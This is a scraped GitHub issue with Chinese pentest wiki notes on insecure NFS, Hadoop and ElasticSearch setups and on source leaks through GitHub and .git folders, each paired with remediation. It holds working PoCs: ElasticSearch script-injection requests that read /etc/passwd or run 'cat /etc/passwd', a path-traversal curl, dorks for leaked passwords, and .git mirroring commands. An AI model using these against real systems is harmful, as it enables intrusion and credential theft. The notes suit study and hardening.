-
Notifications
You must be signed in to change notification settings - Fork 99
Open
Labels
Description
Laughter is an instant vacation.
0x01 Drops Wiki
- 服务配置
- 敏感系统或服务数据可被访问
NFS安全配置(Network File System)- 错误配置及利用
- 未限制
NFS可挂载的IP或IP段- 任何人都可以对输出的目录进行挂载,造成信息泄漏
- 未对
NFS的权限进行设置,任何人均可写- 可挂载的情况下,如果发布的文件为
Web文件,可以直接写入webshell
- 可挂载的情况下,如果发布的文件为
- 未限制
- 修复方案
- 在
/etc/exports中限制可以挂载的IP或IP段 - 修正错误开放的可写权限
- 在
- 漏洞扫描与发现
nmap扫描TCP 2049端口,然后试用showmount -e ip进行权限查看
nmap -Pn -p2049 -sV --open ip showmount -e ip
- 错误配置及利用
Hadoop安全配置- 错误配置及利用
WebUI敏感信息泄漏Hadoop默认情况开放了很多端口提供WebUI,如果布置在外网,多多少少会泄漏一些信息HDFS(Google File System(GFS)的开源实现,为数据提供存储)NameNode默认端口50070nmap --script=hadoop-namenode-info.nse X.X.X.X -p 50070- 通过访问
NameNode WebUI管理界面50070端口,可以下载任意文件
SecondNameNode默认端口50090DataNode默认端口5007550075端口默认开放的话,攻击者可以通过HDFS提供的RESTFUL API对HDFS存储数据进行操作
Backup/Checkpoint Node默认端口50105
MapReduce(一种编程模型,为大规模数据集(大于1TB)提供运算)JobTracker默认端口50030TaskTracker默认端口50060
MapReduce代码执行漏洞Hadoop第三方插件安全漏洞Cloudera Manager <= 5.5Cloudera HUE =< 3.9.0Apache Ranger =< 0.5Unauthenticated policy downloadAuthenticated SQL injection (CVE-2016-2174)
Apache Group Hadoop 2.6.x
Hive任意命令/代码执行漏洞Hive是建立在Hadoop上的数据仓库基础架构,它提供了一系列工具,可以用来进行数据提取转化加载(ETL),这是一种可以存储、查询和分析存储在Hadoop中的大规模数据的机制,Hive定义了简单的类SQL查询语言,称为HQL,它允许熟悉SQL的用户查询数据,同时,这个语言也允许熟习MapReduce开发者的开发自定义的mapper和reducer来处理内建的mapper和reducer无法完成的复杂的分析工作HQL可以通过transform自定义Hive使用的Map/Reduce脚本,从而调用shell/python等语言,导致攻击者可以通过Hive接口等相关操作方式直接获取服务器权限
Spark60667077端口也存在类似的安全问题,默认情况下可以推送jar包执行,如果权限足够大可以实现植入SSH公钥
- 修复方案
- 网络访问控制
- 使用
安全组防火墙或本地操作系统防火墙对访问源IP进行控制,如果仅对内网服务器提供服务,建议禁止将Hadoop服务所有端口发布到互联网上
- 使用
- 启用认证功能
- 启用
herberos认证功能
- 启用
- 更新补丁
- 敏感页面以及目录最好也不要对普通用户开发,可
Nginx反向代理、Iptables解决jmx/logs/cluster/status.jsp/
Hadoop集群单独部署,做好安全监控发现被攻击迹象及时报警
- 网络访问控制
- 错误配置及利用
ElasticSearch安全配置- 错误配置及利用
ElasticSearch远程命令执行(CVE-2014-3120)ElastciSearch有脚本执行(scripting)的功能,可以很方便的对查询出来的数据再加工,ElasticSearch用的脚本引擎是MVEL,这个引擎没有做任何的防护,或沙盒包装,所以直接可以执行任意代码- 在
ElasticSearch 1.2之前的版本中,默认配置是打开动态脚本功能的,如果用户没有更改默认配置文件,攻击者可以直接通过http请求执行任意代码 - 测试
POC:
http://127.0.0.1:9200/_search?source=%7B%22size%22%3A1%2C%22query%22%3A%7B%22filtered%22%3A%7B%22query%22%3A%7B%22match_all%22%3A%7B%7D%7D%7D%7D%2C%22script_fields%22%3A%7B%22%2Fetc%2Fhosts%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fhosts%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%2C%22%2Fetc%2Fpasswd%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fpasswd%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%7D%7D&callback=jQuery111107529820275958627_1400564696673&_=1400564696674
- 修复方法
- 升级
ElasticSearch为最新版本 - 在配置文件
elasticsearch.yml里为每个节点都加上:script.disable_dynamic: true
- 升级
ElasticSearch Groovy命令执行漏洞(CVE-2015-1427)- 该漏洞主要存在于
ElasticSearch 1.3.0-1.3.7和1.4.0-1.4.2,ElasticSearch在比较新的版本中对脚本语言引擎使用了Groovy,并且加入了沙盒进行控制,危险代码会被拦截掉,由于沙盒限制不严格,导致漏洞的产生 - 测试
POC:
POST http://127.0.0.1:9200/_search?pretty {"size":1,"script_fields": {"test#": {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()","lang": "groovy"}}}- 修复方法
- 升级
ElasticSearch为最新版本 - 在配置文件
elasticsearch.yml里为每个节点都加上:script.groovy.sandbox.enabled: true
- 升级
- 该漏洞主要存在于
ElasticSearch任意文件读取漏洞(CVE-2015-3337)- 测试
POC:
curl http://127.0.0.1:9200/_plugin/head/../../config/elasticsearch.yml 注意curl版本 curl http://127.0.0.1:9200/_plugin/插件名称如head/../../xx文件
- 修复方法
- 升级
ElasticSearch为最新版本
- 升级
- 测试
ElasticSearch数据库配置文件读取问题- 测试
POC:
http://localhost:9200/_river/search exp-db: CVE-2015-3337- 修复方法
- 安装
ElasticSearch官方的Shield - 添加
Iptables规则 - 设置
elasticsearch.yml文件中的network.bind_host: 内网ip,仅允许内网访问
- 安装
- 测试
- 错误配置及利用
- 配置产生漏洞
HTTP Server- 文件泄漏
Github导致文件泄漏- 在
Github中被泄漏的敏感信息包括以下几类- 邮箱信息
SVN信息- 内部帐号及密码
- 数据库连接信息
- 服务器配置信息
- 这些敏感信息有的只是导致一些无法被外网连接的内网账户信息或者数据库连接信息泄漏,但是也可能会导致公司重要的商业秘密或程序源代码被他人窃取,管理员账户被控制或数据库泄漏等,造成巨大的损失
- 漏洞检测及利用
- 使用搜索引擎搜索语法便可快速从
Github上找到需要的信息以下示例
Google hack: site:Github.com smtp site:Github.com sa password site:Github.com root password site:Github.com User ID='sa';Password site:Github.com svn site:Github.com ftp- 也可以使用
Github敏感信息收集工具GitrobWeakfilescanGitPreyGitMinerGitHack
- 使用搜索引擎搜索语法便可快速从
- 漏洞修复
- 将源码上传至
Github公开仓库前注意对敏感信息打码或者删除
- 将源码上传至
- 在
Git导致文件泄漏- 漏洞成因
- 在运行
git init初始化代码库的时候,会在当前目录下面产生一个.git的隐藏文件,用来记录代码的变更记录等等,在发布代码的时候,把.git这个目录没有删除,直接发布了,攻击者使用这个文件,就可以用来恢复源代码
- 在运行
- 漏洞检测及利用
- 手工搜索
Google搜索
".git" intitle:"index of"- 下载
.git文件
wget --mirror --include-directories=/.git http://www.target.com/.git cd www.target.com- 代码重构
git reset --hard - 工具恢复
dvcs-ripper- 使用方法
Example: ./rip-git.pl -v -u http://www.example.com/.git/ Example: ./rip-git.pl # with url and options in /root/.rip-gitGitHack
- 手工搜索
- 漏洞修复
- 删除
.git文件
- 删除
- 漏洞成因
- 文件泄漏